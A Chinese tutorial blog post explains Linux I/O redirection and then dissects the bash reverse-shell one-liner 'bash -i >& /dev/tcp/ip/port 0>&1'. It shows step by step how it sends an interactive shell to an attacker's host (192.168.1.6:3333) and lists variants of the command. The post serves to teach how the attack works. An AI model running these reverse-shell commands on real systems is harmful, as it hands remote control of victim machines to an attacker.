无心的梦呓 · 2019年10月19日

Linux重定向及反弹shell详解

这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell

目录

0x01 文件描述符

0x02 重定向

0x03 反弹shell

0x04 交互重定向

0x05 命令变形

0x01 文件描述符

Linux的文件描述符有以下三种

标准输入:0

标准输出:1

错误输出:2

对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作

0x02 重定向

重定向主要分为以下两种

输入重定向 <<<

输出重定向 >>>

通过下面的两张图就可以很明白的看出来他们的用途了

file

file

我们这里的输出重定向>,就相当于是1>,输入重定向 <,就相当于是0<

那如果要使用错误输出的话,就必须写成 2>

file

我们也可以把错误的内容重定向到另一个文件中的

下面这个操作,我们就可以把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中

file

同样也可以将结果和错误输出一起输出到一个文件中去

在正常输入的命令结尾加上2>&1就可以实现了,这个语句可以理解为将错误输出与标准输出一致,也就是将他们输出到一个文件中来

file

其实这里的&符号是为了区分文件跟文件描述符的,如果这里没有&符号,系统会把它理解为文件,而不是标准输出

file

0x03 反弹shell

下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释

bash -i >& /dev/tcp/ip/port 0>&1

解释

bash -i

表示创建一个交互式的shell,可以在帮助文档中看到

file

/dev/tcp/ip/port

实际上这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信

file

首先我们在本地开启监听,然后在Linux机器上输入下面的命令,即将指定字符发送到192.168.6.13333端口

file

file

0>&1

将标准输入和标准输出重定向到指定的文件中

如果把这条命令改成2>&1可能会更容易理解一点

file

file

如果理解了上面这个的话,对于这个就很容易理解了

>&

将前面的后和后面的一致,就是将交互式的shell传给我们的远程主机

理解了上面的内容,我们将标准输出改为标准输入,看一下会发生什么事情

file

file

0x04 交互重定向

理解了上面的内容之后,我们在一步步分解一下交互式shell

使用下面的语句可以将输出内容发送到攻击机上

file

file

但是这样会有一个问题,攻击者没有实现对此主机的完全控制,是不能在受害主机中运行命令的,此时我们还会想起来另一条命令,将它转换成标准输入

file

file

这样我们就实现了从攻击机输入命令进行控制,然后我们将两条命令合并一下,将标准输入和标准输出都指向到远程主机上,即实现交互式shell

file

在这个情况下的逻辑就是,从/dev/tcp/192.168.1.6/3333获取输入,然后将输出重定向到/dev/tcp/192.168.1.6/3333,从而形成了一个回路

file

但是这里面还是有一个问题的,可以看到我们输入的命令在受害主机上还是会显示出命令的,所以还是需要进行改进的

我们上面也说了如何将所有的正确和错误信息都重定向到一起,这里就可以使用这个方法来进行处理

file

file

可以看到所有产生的消息都在攻击机上显示出来了,这样就达到了我们最初的目的了

我们也可以使用与之等价的命令来进行操作,也就是我们最前面所写出来的那一条命令

file

file

0x05 命令变形

如果我们把 0>&1 改成 0<&1 将会发生什么

file

可以发现两者的效果是一样的,它们唯一的不同是打开文件时候的方式不同,其他的内容都与我们前面说的是一样的

同样的,我们将 0>&1 变为 0>&2 是一样的效果

file

至于其他的变形类型的,就按照上面所说的那些东西自己去推算即可。

文章首发公众号:无心的梦呓(wuxinmengyi)

这是一个记录红队学习、信安笔记,个人成长的公众号

扫码关注即可

file

推荐阅读
目录
极术微信服务号
关注极术微信号
实时接收点赞提醒和评论通知
安谋科技学堂公众号
关注安谋科技学堂
实时获取安谋科技及 Arm 教学资源
安谋科技招聘公众号
关注安谋科技招聘
实时获取安谋科技中国职位信息